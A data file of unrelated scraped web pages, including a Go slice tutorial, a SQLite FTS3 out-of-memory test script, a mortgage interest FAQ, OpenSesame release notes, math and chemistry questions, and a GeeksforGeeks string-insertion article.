accommodate (capacity).\n\nexample.go\n\n```package main\n\nimport \"fmt\"\n\nfunc main() {\n// declaration and intialization\nvar numbers = make([]int, 5, 10)\n\nfmt.Println(\"Size of slice: \", len(numbers))\nfmt.Println(\"Capacity of slice: \", cap(numbers))\n}```\n\nOutput\n\n```Size of slice: 5\nCapacity of slice: 10```\n\n### Append Element\n\nTo append an item to a Golang Slice, you can use append() function. In the following example, we have initialized a Golang Slice, and we shall append an item to the Slice.\n\nexample.go\n\n```package main\n\nimport \"fmt\"\n\nfunc main() {\nvar numbers = []int {5, 8, 14, 7, 3}\n\nnumbers = append(numbers, 58)\n\nfmt.Println(numbers)\n}```\n\nOutput\n\n`[5 8 14 7 3 58]`\n\n### Conclusion\n\nIn this Golang Tutorial, we learned how to Declare a Golang Slice, Initialize it, Access Elements of a Slice, find its Size and Capacity, with example programs." ]

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[ "# Convert 17 Square Centimeters to Square Yards Calculator\n\nCalculate how many square yards in a 17 Sq Cm taking the help of easy and handy tool Square Centimeters to Square Yards Converter and get the detailed worked out procedure on how to approach.\n\nEnter the value in Square Centimeters\n\nTo convert Square Centimeters to Square Yards\n\nwe know that, 1 Square Centimeters = 0.0001196 Square Yards or\n1 Square Centimeters = 1/8361  Square Yards.\n\nTo convert Square Centimeters to Square Yards, divide the square centimeters value by 8361 (For an approximate result)\n\nResult in Square Yards: 17 × sq cm/8361 × sq yd/sq cm\n\nCancel The Comman factor of sq cm\n\nResult in Square Yards: 17/8361 sq yd\n\nDivide the 17 by 8361\n\nResult in Square Yards: 0.0020332    sq yd\n\n∴ 17 Square Centimeters = 0.0020332 Square Yards\n\n### Square Centimeters & Square Yards Calculations\n\nHere are examples of Square Centimeters to Square Yards calculations.\n\nHere are examples of Square Yards to Square Centimeters calculations.\n\n### More Examples\n\n(some results rounded)\n\nsq cm sq yd\n17.0 0.0020332\n17.1 0.0020452\n17.2 0.0020572\n17.3 0.0020691\n17.4 0.0020811\n17.5 0.0020931\n17.6 0.002105\n17.7 0.002117\n17.8 0.0021289\n17.9 0.0021409\n18.0 0.0021529\n18.1 0.0021648\n18.2 0.0021768\n18.3 0.0021887\n18.4 0.0022007\n18.5 0.0022127\n18.6 0.0022246\n18.7 0.0022366\n18.8 0.0022485\n18.9 0.0022605\n19.0 0.0022725\n19.1 0.0022844\n19.2 0.0022964\n19.3 0.0023083\n19.4 0.0023203\n19.5 0.0023323\n19.6 0.0023442\n19.7 0.0023562\n19.8 0.0023681\n19.9 0.0023801\nsq cm sq yd\n20.0 0.0023921\n20.1 0.002404\n20.2 0.002416\n20.3 0.0024279\n20.4 0.0024399\n20.5 0.0024519\n20.6 0.0024638\n20.7 0.0024758\n20.8 0.0024877\n20.9 0.0024997\n21.0 0.0025117\n21.1 0.0025236\n21.2 0.0025356\n21.3 0.0025475\n21.4 0.0025595\n21.5 0.0025715\n21.6 0.0025834\n21.7 0.0025954\n21.8 0.0026073\n21.9 0.0026193\n22.0 0.0026313\n22.1 0.0026432\n22.2 0.0026552\n22.3 0.0026671\n22.4 0.0026791\n22.5 0.0026911\n22.6 0.002703\n22.7 0.002715\n22.8 0.0027269\n22.9 0.0027389" ]

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[ "", null, "/ Artifact [d02ee86b]\n\n## Artifact d02ee86b21edd2b43044e0d6dfdcd26cb6efddcb:\n\n• File test/fts3malloc.test — part of check-in [75863c2d] at 2009-12-03 17:36:22 on branch trunk — Fix an incorrect assert() in fts3.c. Add further fts3 tests. (user: dan size: 10051) [more...]\n\n``````# 2009 October 22\n#\n# The author disclaims copyright to this source code. In place of\n# a legal notice, here is a blessing:\n#\n# May you do good and not evil.\n# May you find forgiveness for yourself and forgive others.\n# May you share freely, never taking more than you give.\n#\n#***********************************************************************\n#\n# This file contains tests to verify that malloc() errors that occur\n# within the FTS3 module code are handled correctly.\n#\n\nset testdir [file dirname \\$argv0]\nsource \\$testdir/tester.tcl\nifcapable !fts3 { finish_test ; return }\nsource \\$testdir/malloc_common.tcl\nsource \\$testdir/fts3_common.tcl\n\n# Ensure the lookaside buffer is disabled for these tests.\n#\nsqlite3 db test.db\nsqlite3_db_config_lookaside db 0 0 0\n\nset sqlite_fts3_enable_parentheses 1\nset DO_MALLOC_TEST 1\n\n# Test organization:\n#\n# fts3_malloc-1.*: Test OOM during CREATE and DROP table statements.\n# fts3_malloc-2.*: Test OOM during SELECT operations.\n# fts3_malloc-3.*: Test OOM during SELECT operations with a larger database.\n# fts3_malloc-4.*: Test OOM during database write operations.\n#\n#\n\nproc normal_list {l} {\nset ret [list]\nforeach elem \\$l {lappend ret \\$elem}\nset ret\n}\n\ndo_write_test fts3_malloc-1.1 sqlite_master {\nCREATE VIRTUAL TABLE ft1 USING fts3(a, b)\n}\ndo_write_test fts3_malloc-1.2 sqlite_master {\nCREATE VIRTUAL TABLE ft2 USING fts3([a], [b]);\n}\ndo_write_test fts3_malloc-1.3 sqlite_master {\nCREATE VIRTUAL TABLE ft3 USING fts3('a', \"b\");\n}\ndo_write_test fts3_malloc-1.4 sqlite_master {\nCREATE VIRTUAL TABLE ft4 USING fts3(`a`, 'fred''s column');\n}\ndo_error_test fts3_malloc-1.5 {\nCREATE VIRTUAL TABLE ft5 USING fts3(a, b, tokenize unknown)\n} {unknown tokenizer: unknown}\ndo_write_test fts3_malloc-1.6 sqlite_master {\nCREATE VIRTUAL TABLE ft6 USING fts3(a, b, tokenize porter)\n}\n\n# Test the xConnect/xDisconnect methods:\n#db eval { ATTACH 'test2.db' AS aux }\n#do_write_test fts3_malloc-1.6 aux.sqlite_master {\n# CREATE VIRTUAL TABLE aux.ft7 USING fts3(a, b, c);\n#}\n#do_write_test fts3_malloc-1.6 aux.sqlite_master {\n# CREATE VIRTUAL TABLE aux.ft7 USING fts3(a, b, c);\n#}\n\ndo_test fts3_malloc-2.0 {\nexecsql {\nDROP TABLE ft1;\nDROP TABLE ft2;\nDROP TABLE ft3;\nDROP TABLE ft4;\nDROP TABLE ft6;\n}\nexecsql { CREATE VIRTUAL TABLE ft USING fts3(a, b) }\nfor {set ii 1} {\\$ii < 32} {incr ii} {\nset a [list]\nset b [list]\nif {\\$ii & 0x01} {lappend a one ; lappend b neung}\nif {\\$ii & 0x02} {lappend a two ; lappend b song }\nif {\\$ii & 0x04} {lappend a three ; lappend b sahm }\nif {\\$ii & 0x08} {lappend a four ; lappend b see }\nif {\\$ii & 0x10} {lappend a five ; lappend b hah }\nexecsql { INSERT INTO ft VALUES(\\$a, \\$b) }\n}\n} {}\n\nforeach {tn sql result} {\n1 \"SELECT count(*) FROM sqlite_master\" {5}\n2 \"SELECT * FROM ft WHERE docid = 1\" {one neung}\n3 \"SELECT * FROM ft WHERE docid = 2\" {two song}\n4 \"SELECT * FROM ft WHERE docid = 3\" {{one two} {neung song}}\n\n5 \"SELECT a FROM ft\" {\n{one} {two} {one two}\n{three} {one three} {two three}\n{one two three} {four} {one four}\n{two four} {one two four} {three four}\n{one three four} {two three four} {one two three four}\n{five} {one five} {two five}\n{one two five} {three five} {one three five}\n{two three five} {one two three five} {four five}\n{one four five} {two four five} {one two four five}\n{three four five} {one three four five} {two three four five}\n{one two three four five}\n}\n\n6 \"SELECT a FROM ft WHERE a MATCH 'one'\" {\n{one} {one two} {one three} {one two three}\n{one four} {one two four} {one three four} {one two three four}\n{one five} {one two five} {one three five} {one two three five}\n{one four five} {one two four five}\n{one three four five} {one two three four five}\n}\n\n7 \"SELECT a FROM ft WHERE a MATCH 'o*'\" {\n{one} {one two} {one three} {one two three}\n{one four} {one two four} {one three four} {one two three four}\n{one five} {one two five} {one three five} {one two three five}\n{one four five} {one two four five}\n{one three four five} {one two three four five}\n}\n\n8 \"SELECT a FROM ft WHERE a MATCH 'o* t*'\" {\n{one two} {one three} {one two three}\n{one two four} {one three four} {one two three four}\n{one two five} {one three five} {one two three five}\n{one two four five} {one three four five} {one two three four five}\n}\n\n9 \"SELECT a FROM ft WHERE a MATCH '\\\"o* t*\\\"'\" {\n{one two} {one three} {one two three}\n{one two four} {one three four} {one two three four}\n{one two five} {one three five} {one two three five}\n{one two four five} {one three four five} {one two three four five}\n}\n\n10 {SELECT a FROM ft WHERE a MATCH '\"o* f*\"'} {\n{one four} {one five} {one four five}\n}\n\n11 {SELECT a FROM ft WHERE a MATCH '\"one two three\"'} {\n{one two three}\n{one two three four}\n{one two three five}\n{one two three four five}\n}\n\n12 {SELECT a FROM ft WHERE a MATCH '\"two three four\"'} {\n{two three four}\n{one two three four}\n{two three four five}\n{one two three four five}\n}\n\n12 {SELECT a FROM ft WHERE a MATCH '\"two three\" five'} {\n{two three five} {one two three five}\n{two three four five} {one two three four five}\n}\n\n13 {SELECT a FROM ft WHERE ft MATCH '\"song sahm\" hah'} {\n{two three five} {one two three five}\n{two three four five} {one two three four five}\n}\n\n14 {SELECT a FROM ft WHERE b MATCH 'neung'} {\n{one} {one two}\n{one three} {one two three}\n{one four} {one two four}\n{one three four} {one two three four}\n{one five} {one two five}\n{one three five} {one two three five}\n{one four five} {one two four five}\n{one three four five} {one two three four five}\n}\n\n15 {SELECT a FROM ft WHERE b MATCH '\"neung song sahm\"'} {\n{one two three} {one two three four}\n{one two three five} {one two three four five}\n}\n\n16 {SELECT a FROM ft WHERE b MATCH 'hah \"song sahm\"'} {\n{two three five} {one two three five}\n{two three four five} {one two three four five}\n}\n\n17 {SELECT a FROM ft WHERE b MATCH 'song OR sahm'} {\n{two} {one two} {three}\n{one three} {two three} {one two three}\n{two four} {one two four} {three four}\n{one three four} {two three four} {one two three four}\n{two five} {one two five} {three five}\n{one three five} {two three five} {one two three five}\n{two four five} {one two four five} {three four five}\n{one three four five} {two three four five} {one two three four five}\n}\n\n18 {SELECT a FROM ft WHERE a MATCH 'three NOT two'} {\n{three} {one three} {three four}\n{one three four} {three five} {one three five}\n{three four five} {one three four five}\n}\n\n19 {SELECT a FROM ft WHERE b MATCH 'sahm NOT song'} {\n{three} {one three} {three four}\n{one three four} {three five} {one three five}\n{three four five} {one three four five}\n}\n\n20 {SELECT a FROM ft WHERE ft MATCH 'sahm NOT song'} {\n{three} {one three} {three four}\n{one three four} {three five} {one three five}\n{three four five} {one three four five}\n}\n\n21 {SELECT a FROM ft WHERE b MATCH 'neung NEAR song NEAR sahm'} {\n{one two three} {one two three four}\n{one two three five} {one two three four five}\n}\n\n} {\nset result [normal_list \\$result]\ndo_select_test fts3_malloc-2.\\$tn \\$sql \\$result\n}\n\ndo_test fts3_malloc-3.0 {\nexecsql BEGIN\nfor {set ii 32} {\\$ii < 1024} {incr ii} {\nset a [list]\nset b [list]\nif {\\$ii & 0x0001} {lappend a one ; lappend b neung }\nif {\\$ii & 0x0002} {lappend a two ; lappend b song }\nif {\\$ii & 0x0004} {lappend a three ; lappend b sahm }\nif {\\$ii & 0x0008} {lappend a four ; lappend b see }\nif {\\$ii & 0x0010} {lappend a five ; lappend b hah }\nif {\\$ii & 0x0020} {lappend a six ; lappend b hok }\nif {\\$ii & 0x0040} {lappend a seven ; lappend b jet }\nif {\\$ii & 0x0080} {lappend a eight ; lappend b bairt }\nif {\\$ii & 0x0100} {lappend a nine ; lappend b gow }\nif {\\$ii & 0x0200} {lappend a ten ; lappend b sip }\nexecsql { INSERT INTO ft VALUES(\\$a, \\$b) }\n}\nexecsql COMMIT\n} {}\nforeach {tn sql result} {\n1 \"SELECT count(*) FROM ft\" {1023}\n\n2 \"SELECT a FROM ft WHERE a MATCH 'one two three four five six seven eight'\" {\n{one two three four five six seven eight}\n{one two three four five six seven eight nine}\n{one two three four five six seven eight ten}\n{one two three four five six seven eight nine ten}\n}\n\n3 {SELECT count(*), sum(docid) FROM ft WHERE a MATCH 'o*'} {\n512 262144\n}\n\n4 {SELECT count(*), sum(docid) FROM ft WHERE a MATCH '\"two three four\"'} {\n128 66368\n}\n} {\nset result [normal_list \\$result]\ndo_select_test fts3_malloc-3.\\$tn \\$sql \\$result\n}\n\ndo_test fts3_malloc-4.0 {\nexecsql { DELETE FROM ft WHERE docid>=32 }\n} {}\nforeach {tn sql} {\n1 \"DELETE FROM ft WHERE ft MATCH 'one'\"\n2 \"DELETE FROM ft WHERE ft MATCH 'three'\"\n3 \"DELETE FROM ft WHERE ft MATCH 'five'\"\n} {\ndo_write_test fts3_malloc-4.1.\\$tn ft_content \\$sql\n}\ndo_test fts3_malloc-4.2 {\nexecsql { SELECT a FROM ft }\n} {two four {two four}}\n\nfinish_test\n\n```\n```" ]

[ null, "https://www.sqlite.org/cgi/src/logo", null ]

[ "# The principles of regression\n\nThe simplest form of regression: linear regression\n\n## Regression\n\nIt happens that, over time, scientists obtain a series of successive data. It is normal for them to be interested in discovering a trend in these data. As a simple example, imagine a lab that investigates the speed of growth of an herb, and keeps daily track of its size. They obtain a series of measurements not necessarily proportional to the number of days. This can be due to factors like temperature and humidity for example. But it is interesting to know that there is a mathematical way to discover if there is a trend, and even to give this trend a numerical value. A primary method to obtain this value is called \"linear regression\". There is a nice exposé of it on this Wikipedia page. In the article we find the image depicted in fig 1.", null, "Fig. 1 An example of linear regression" ]

[ null, "https://softarts.be/CR/regress/Linear_regression.png", null ]

[ "Mortgage\n\n# How much interest is pay on a mortgage at first year?\n\nDivide your interest rate by the number of payments you’ll make in the year (interest rates are expressed annually). So, for example, if you’re making monthly payments, divide by 12. 2. Multiply it by the balance of your loan, which for the first payment, will be your whole principal amount.\n\nLikewise, do you pay interest on the first month mortgage? That first mortgage payment interest is due only for the days you actually own the home. If it is more convenient to move at the beginning of the month, the increased settlement costs are a reflection of the greater number of days during which you will occupy the home.\n\nAmazingly, why do you pay more interest in the beginning of a mortgage? In the beginning, you owe more interest, because your loan balance is still high. So most of your monthly payment goes to pay the interest, and a little bit goes to paying off the principal. Over time, as you pay down the principal, you owe less interest each month, because your loan balance is lower.\n\nBeside above, how is mortgage interest calculated per month? Interest on your mortgage is generally calculated monthly. Your bank will take the outstanding loan amount at the end of each month and multiply it by the interest rate that applies to your loan, then divide that amount by 12.\n\nAs many you asked, what is the interest formula? Simple Interest Formulas and Calculations: Use this simple interest calculator to find A, the Final Investment Value, using the simple interest formula: A = P(1 + rt) where P is the Principal amount of money to be invested at an Interest Rate R% per period for t Number of Time Periods.\n\n## How much would a \\$100 000 mortgage cost per month?\n\nAssuming principal and interest only, the monthly payment on a \\$100,000 loan with an APR of 3% would come out to \\$421.60 on a 30-year term and \\$690.58 on a 15-year one. Credible is here to help with your pre-approval.\n\n## How much per month is a 400k mortgage?\n\nMonthly payments for a \\$400,000 mortgage On a \\$400,000 mortgage with an annual percentage rate (APR) of 3%, your monthly payment would be \\$1,686 for a 30-year loan and \\$2,762 for a 15-year one.\n\n## How does the first mortgage payment work?\n\nYour first mortgage payment will be due on the first of the month, one full month (30 days) after your closing date. Mortgage payments are paid in what are known as arrears, meaning that you will be making payments for the month prior rather than the current month.\n\n## How can I avoid paying interest on my mortgage?\n\n1. Bi-weekly mortgage payments. Making a payment every two weeks adds one all-principal payment to your mortgage each year.\n2. Extra mortgage payments.\n3. Drop Private Mortgage Insurance (PMI)\n5. Streamline refinance.\n\n## Is it better to close on a house at the beginning of the month?\n\nBeginning of the month Remember that an early-month closing gives you much more time before your first mortgage payment is due, but you’ll also pay almost an entire month’s worth in prepaid interest, as interest accrues from the date of closing through the last day of the month.\n\n## Should you pay interest or principal first?\n\nWhen you make loan payments, you’re making interest payments first; the the remainder goes toward the principal. The next month, the interest charge is based on the outstanding principal balance.\n\n## How many years do you pay interest on a 30-year mortgage?\n\nIn a typical 30-year mortgage, about half the total interest you pay will accumulate in the first 10 years of your loan. That is because your interest rate is calculated against the very high principle amount you owe in the early years.\n\n## How can I pay my house off in 2 years?\n\n1. Refinance to a shorter term.\n2. Make extra principal payments.\n3. Make one extra mortgage payment per year (consider bi-weekly payments)\n5. Reduce your balance with a lump-sum payment.\n\n## Is mortgage interest monthly or yearly?\n\nThe standard mortgage in the US accrues interest monthly, meaning that the amount due the lender is calculated a month at a time. There are some mortgages, however, on which interest accrues daily.\n\n## Do mortgage payments go down?\n\nTip: A mortgage payment doesn’t decrease over time as it is paid off, like it might with a credit card or revolving account like a HELOC. Instead, the monthly payment is pre-determined for the life of the loan using an amortization schedule, even if you chip away at it along the way.\n\n## How much should my mortgage be?\n\nThe 28% rule states that you should spend 28% or less of your monthly gross income on your mortgage payment (e.g. principal, interest, taxes and insurance). To determine how much you can afford using this rule, multiply your monthly gross income by 28%.\n\n## How do you calculate principal and interest on a mortgage?\n\nTo find the total amount of interest you’ll pay during your mortgage, multiply your monthly payment amount by the total number of monthly payments you expect to make. This will give you the total amount of principal and interest that you’ll pay over the life of the loan, designated as “C” below: C = N * M.\n\n## How do you calculate interest per year?\n\nFirstly, multiply the principal P, interest in percentage R and tenure T in years. For yearly interest, divide the result of P*R*T by 100. To get the monthly interest, divide the Simple Interest by 12 for 1 year, 24 months for 2 years and so on.\n\n## How do you calculate monthly interest?\n\nTo calculate the monthly interest, simply divide the annual interest rate by 12 months. The resulting monthly interest rate is 0.417%. The total number of periods is calculated by multiplying the number of years by 12 months since the interest is compounding at a monthly rate.\n\n## How can I pay off my mortgage in 5 years?\n\n1. Create A Monthly Budget.\n2. Purchase A Home You Can Afford.\n3. Put Down A Large Down Payment.\n4. Downsize To A Smaller Home.\n5. Pay Off Your Other Debts First.\n6. Live Off Less Than You Make (live on 50% of income)\n7. Decide If A Refinance Is Right For You." ]

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[ "# Release notes for 3.2.6\n\nOpenSesame 3.2.6 Kafkaesque Koffka is the sixth maintenance release in the 3.2 series. It contains bug fixes and minor improvements, and should be a pleasant and safe upgrade for everyone who is using the 3.2 series.\n\nA notable addition in this release is the OSWeb extension. This allows you to run OpenSesame experiments online! For more information, see:\n\nIf you are upgrading from OpenSesame 3.1 or earlier, please see the list of important changes:\n\n## Credits\n\nThanks to:\n\n• Daniel Schreij (@dschreij) for his work on OSWeb and the Mac OS package\n• Jaap Bos (@shyras) for his work on OSWeb\n\n## Bug fixes and improvements\n\nopensesame:\n\n• Updated to 3.2.6\n• Issue #635: Canvas.copy() doesn't work for legacy backend (Bug)\n• Issue #636: External runner is broken (Bug)\n• Issue #638: \"set only_render yes\" break form_base item (Bug)\n• Issue #639: Numeric item descriptions cause crash (Bug)\n• Issue #641: sketchpad: gabor and noise patches crash when non-numeric values are used (Bug)\n• Issue #642: Joystick axis input freezes the experiment (Bug)\n• Issue #646: Allow line breaks in text_input widget when return_accepts=no (Enhancement)\n• Issue #647: form_multiple_choice doesn't expose response variable (Bug)\n• Issue #648: roll command of loop item does not accept variables. (Bug)\n• Issue #649: Display isn't updated after resuming from pause (Enhancement)\n\npython-datamatrix:\n\n• Updated to 0.9.8\n\n• Updated to 2.0.2\n\npython-qtpip:\n\n• Updated to 0.2.0\n\nopensesame-extension-osweb:\n\n## Packages\n\n### Windows Python 2.7\n\n``````name: opensesame_3.2.6-py2.7-win32-1\nchannels:\n- cogsci\n- conda-forge\n- defaults\ndependencies:\n- anaconda-client=1.6.3=py27_0\n- backports=1.0=py27_0\n- backports_abc=0.5=py27_0\n- bleach=1.5.0=py27_0\n- bzip2=1.0.6=vc9_3\n- certifi=2016.2.28=py27_0\n- clyent=1.2.2=py27_0\n- arrow=0.7.0=py_0\n- humanize=0.5.1=py_0\n- oauthlib=1.1.2=py_0\n- qscintilla2=2.9.3=py27_vc9_0\n- requests-oauthlib=0.6.2=py_0\n- webcolors=1.5=py27_0\n- colorama=0.3.9=py27_0\n- configparser=3.5.0=py27_0\n- decorator=4.1.2=py27_0\n- entrypoints=0.2.3=py27_0\n- enum34=1.1.6=py27_0\n- freetype=2.5.5=vc9_2\n- functools32=3.2.3.2=py27_0\n- get_terminal_size=1.0.0=py27_0\n- html5lib=0.999=py27_0\n- icu=57.1=vc9_0\n- ipykernel=4.6.1=py27_0\n- ipython=5.3.0=py27_0\n- ipython_genutils=0.2.0=py27_0\n- ipywidgets=6.0.0=py27_0\n- jinja2=2.9.6=py27_0\n- jpeg=9b=vc9_0\n- jsonschema=2.6.0=py27_0\n- jupyter=1.0.0=py27_3\n- jupyter_client=5.1.0=py27_0\n- jupyter_console=5.2.0=py27_0\n- jupyter_core=4.3.0=py27_0\n- libpng=1.6.30=vc9_1\n- libtiff=4.0.6=vc9_3\n- markdown=2.6.9=py27_0\n- markupsafe=1.0=py27_0\n- mistune=0.7.4=py27_0\n- mkl=2017.0.3=0\n- nbconvert=5.2.1=py27_0\n- nbformat=4.4.0=py27_0\n- notebook=5.0.0=py27_0\n- numpy=1.13.1=py27_0\n- olefile=0.44=py27_0\n- openssl=1.0.2l=vc9_0\n- pandocfilters=1.4.2=py27_0\n- path.py=10.3.1=py27_0\n- pathlib2=2.3.0=py27_0\n- pickleshare=0.7.4=py27_0\n- pillow=4.2.1=py27_0\n- pip=9.0.1=py27_1\n- prompt_toolkit=1.0.15=py27_0\n- pyflakes=1.6.0=py27_0\n- pygments=2.2.0=py27_0\n- pyopengl=3.1.1a1=np113py27_0\n- pyopengl-accelerate=3.1.1a1=np113py27_0\n- pyqt=5.6.0=py27_2\n- pyserial=2.7=py27_0\n- python=2.7.13=1\n- python-dateutil=2.6.1=py27_0\n- pytz=2017.2=py27_0\n- pyyaml=3.12=py27_0\n- pyzmq=16.0.2=py27_0\n- qt=5.6.2=vc9_6\n- qtawesome=0.4.4=py27_0\n- qtconsole=4.3.1=py27_0\n- qtpy=1.3.1=py27_0\n- requests=2.14.2=py27_0\n- scandir=1.5=py27_0\n- scipy=0.19.1=np113py27_0\n- setuptools=36.4.0=py27_1\n- shapely=1.6.2=py27_0 # Added in 3.2.5\n- simplegeneric=0.8.1=py27_1\n- singledispatch=3.4.0.3=py27_0\n- sip=4.18=py27_0\n- six=1.10.0=py27_0\n- sqlite=3.13.0=vc9_1\n- ssl_match_hostname=3.5.0.1=py27_0\n- testpath=0.3.1=py27_0\n- traitlets=4.3.2=py27_0\n- vc=9=0\n- vs2008_runtime=9.00.30729.5054=0\n- wcwidth=0.1.7=py27_0\n- wheel=0.29.0=py27_0\n- widgetsnbextension=3.0.2=py27_0\n- win_unicode_console=0.5=py27_0\n- wincertstore=0.2=py27_0\n- yaml=0.1.6=0\n- zlib=1.2.11=vc9_0\n- ffmpeg=3.4.1\n- pip:\n- arrow==0.7.0\n- backports-abc==0.5\n- backports.shutil-get-terminal-size==1.0.0\n- backports.ssl-match-hostname==3.5.0.1\n- cffi==1.11.2\n- configobj==5.0.6\n- et-xmlfile==1.0.1\n- http://files.cogsci.nl/software/opensesame/pre-releases/expyriment-0.9.1b2_11_gc100ee8-py2-none-any.whl\n- fastnumbers==2.0.2\n- future==0.16.0\n- humanize==0.5.1\n- imageio==2.2.0\n- ipython-genutils==0.2.0\n- jdcal==1.3\n- json-tricks==3.11.0\n- jupyter-client==5.1.0\n- jupyter-console==5.2.0\n- jupyter-core==4.3.0\n- moviepy==0.2.3.2\n- oauthlib==1.1.2\n- openpyxl==2.4.9\n- opensesame-extension-osf==1.1.1\n- opensesame-extension-osweb==1.2.4.3 # New in 3.2.6\n- opensesame-plugin-media-player-mpy==0.1.6\n- opensesame-plugin-psychopy==0.5.0\n- opensesame-windows-launcher==0.4.2 # Updated in 3.2.2\n- prettytable==0.7.2\n- prompt-toolkit==1.0.15\n- psychopy==1.85.3\n- pyaudio==0.2.11\n- pycparser==2.18\n- pygame==1.9.3\n- pyglet==1.3.0\n- python-bidi==0.4.0\n- python-datamatrix==0.9.8 # Updated in 3.2.6\n- python-fileinspector==1.0.2\n- python-opensesame==3.2.6 # Updated in 3.2.6\n- python-pseudorandom==0.2.2\n- python-pygaze==0.6.0a25 # Updated in 3.2.2\n- python-qdatamatrix==0.1.18\n- python-qnotifications==2.0.3 # Updated in 3.2.6\n- python-qosf==1.2.3 # Updated in 3.2.3\n- python-qprogedit==4.0.11\n- python-qtpip==0.2.0 # Updated in 3.2.6\n- requests-oauthlib==0.6.2\n- sounddevice==0.3.9\n- tqdm==4.19.5\n- webcolors==1.5\n- win-unicode-console==0.5\n- yolk3k==0.9\n``````" ]

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[ "Explore BrainMass\nShare\n\n# Environmental Chemistry\n\n### ARCHAEOLOGICAL CHEMISTRY\n\nAnswer the following questions, showing calculations and equations where appropriate: 1. Your analytical technique directly and accurately measures the concentration of iron-54 in your samples. How would you calculate the total iron concentration from these concentrations? What if you wanted to know the iron-oxide concentrati\n\n### Wet Limestone Process\n\nAssume that the wet limestone process requires 1 metric ton of calcium carbonate to remove +35.0% of the sulfur from 4 metric tons of coal containing +4.0% S. Assume that the sulfur product is calcium sulfate. Calculate the percentage of the limestone (calcium carbonate) converted to calcium sulfate.\n\n### Calculating the average number of air molecules at a specific altitude and atmospheric temperature.\n\nAt an altitude of 55.00 km, the average atmospheric temperature is essentially 0 degrees C. What is the average number of air molecules per cubic centimeter of air at this altitude? Hint: Solve the equation for the pressure as a function of height and temperature and from this use the ideal gas equation to calculate the volum" ]

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[ "# What's the formula for the future value of continuous compounded interest with an initial amount and annuity/monthly payments/investments?\n\nI know the formula for continuous compounded interest with monthly payments/investment is this,\n\n``````p = monthly payment\ni = interest per year\nc = compounded times per year\nt = times compounded\n\nFV = p((1+i/c)^t - 1) / (i/c)\n``````\n\nBut to have it start with an initial amount is what's puzzling me.\n\nFor example, I'd like to start with \\$1000, with a monthly payment/investment of \\$100 and monthly compounded interest of 8% annual (so 0.08/12 since it's monthly).\n\nWhat is the formula to get this future value at t amount of times?" ]

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[ "# Plotting and finding the magnitude of a wav file in MATLAB\n\nThe question was;\n\nLoad the file sound1.wav (You would use MATLAB command ‘wavread’ to loadthis file. Use MATLAB help to learn the usage of ‘wavread’). This file contains a portion of speech waveform. Take the first 512 point the signal, plot the waveformand its magnitude spectrum.\n\n``````%call it like question_8('sound1.wav')\nfunction question_8(url)\nnew_x=x(1:512);\nsubplot(2,1,1);\nstem(new_x);\ntitle('The sampled sound signal');\nxlabel('time'), ylabel('amplitude');\ngrid on;\nhold on\n\nsubplot(2,1,2)\nN=(fs/2)*linspace(-1,1,length(x));\nstem(N,fftshift(abs(fft(new_x))));\n\ntitle('Sampled signal at frequency-domain');\nxlabel('frequency'), ylabel('amplitude');\ngrid on;\nend\n``````", null, "" ]

[ null, "https://i1.wp.com/johnroach.info/wp-content/uploads/2010/10/output_edited.png", null ]

[ "Search a number\nBaseRepresentation\nbin101111111110111110000\n32221212211200\n411333313300\n5400303321\n653411200\n716236033\noct5776760\n92855750\n101572336\n11984357\n12639b00\n1343089c\n142cd01a\n15210d26\nhex17fdf0\n\n1572336 has 60 divisors (see below), whose sum is σ = 4497480. Its totient is φ = 512640.\n\nThe previous prime is 1572331. The next prime is 1572341. The reversal of 1572336 is 6332751.\n\nIt is a happy number.\n\nIt is an interprime number because it is at equal distance from previous prime (1572331) and next prime (1572341).\n\nIt is a congruent number.\n\nIt is not an unprimeable number, because it can be changed into a prime (1572331) by changing a digit.\n\nIt is a polite number, since it can be written in 11 ways as a sum of consecutive naturals, for example, 8695 + ... + 8873.\n\nIt is an arithmetic number, because the mean of its divisors is an integer number (74958).\n\n21572336 is an apocalyptic number.\n\n1572336 is a gapful number since it is divisible by the number (16) formed by its first and last digit.\n\nIt is an amenable number.\n\nIt is a practical number, because each smaller number is the sum of distinct divisors of 1572336, and also a Zumkeller number, because its divisors can be partitioned in two sets with the same sum (2248740).\n\n1572336 is an abundant number, since it is smaller than the sum of its proper divisors (2925144).\n\nIt is a pseudoperfect number, because it is the sum of a subset of its proper divisors.\n\n1572336 is a wasteful number, since it uses less digits than its factorization.\n\n1572336 is an odious number, because the sum of its binary digits is odd.\n\nThe sum of its prime factors is 254 (or 245 counting only the distinct ones).\n\nThe product of its digits is 3780, while the sum is 27.\n\nThe square root of 1572336 is about 1253.9282276111. The cubic root of 1572336 is about 116.2827032514.\n\nThe spelling of 1572336 in words is \"one million, five hundred seventy-two thousand, three hundred thirty-six\"." ]

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[ "", null, "GFG App\nOpen App", null, "Browser\nContinue\n\n# How to insert characters in a string at a certain position?\n\nGiven a string str and an array of indices chars[] that describes the indices in the original string where the characters will be added. For this post, let the character to be inserted in star (*). Each star should be inserted before the character at the given index. Return the modified string after the stars have been added.\n\nExamples:\n\nInput: str = “geeksforgeeks”, chars = [1, 5, 7, 9]\nOutput: g*eeks*fo*rg*eeks\nExplanation: The indices 1, 5, 7, and 9 correspond to the bold characters in “geeksforgeeks”.\n\nInput: str = “spacing”, chars = [0, 1, 2, 3, 4, 5, 6]\nOutput: “*s*p*a*c*i*n*g”\n\nApproach: To solve the problem follow the below idea:\n\nIterate over the string and keep track of the count of the characters in the string so far and whenever your count becomes equal to the element in the array of stars, append a star to the resultant string and move ahead in your star array.\n\nFollow the steps mentioned below to implement the idea:\n\n• Create a string ans for storing your resultant string.\n• Take one pointer j initially as 0.\n• Iterate over the string and whenever your index that represents the count of characters becomes equal to the element in stars[j], append the star in your ans string and move the j pointer ahead.\n• Also, at each move, append the current character in your string ans.\n\nBelow is the implementation of the above approach:\n\n## C++\n\n `// C++ code to implement the approach`   `#include ` `using` `namespace` `std;`   `// Function to add stars` `string addStars(string s, vector<``int``>& stars)` `{`   `    ``// Create a string ans for storing` `    ``// resultant string` `    ``string ans = ``\"\"``;`   `    ``int` `j = 0;`   `    ``for` `(``int` `i = 0; i < s.length(); i++) {`   `        ``// If the count of characters` `        ``// become equal to the stars[j],` `        ``// append star` `        ``if` `(j < stars.size() && i == stars[j]) {` `            ``ans += ``'*'``;` `            ``j++;` `        ``}` `        ``ans += s[i];` `    ``}`   `    ``return` `ans;` `}`   `// Driver code` `int` `main()` `{` `    ``string str = ``\"geeksforgeeks\"``;` `    ``vector<``int``> chars = { 1, 5, 7, 9 };` `    ``string ans = addStars(str, chars);`   `    ``// Printing the resultant string` `    ``cout << ans << endl;` `}`\n\n## Java\n\n 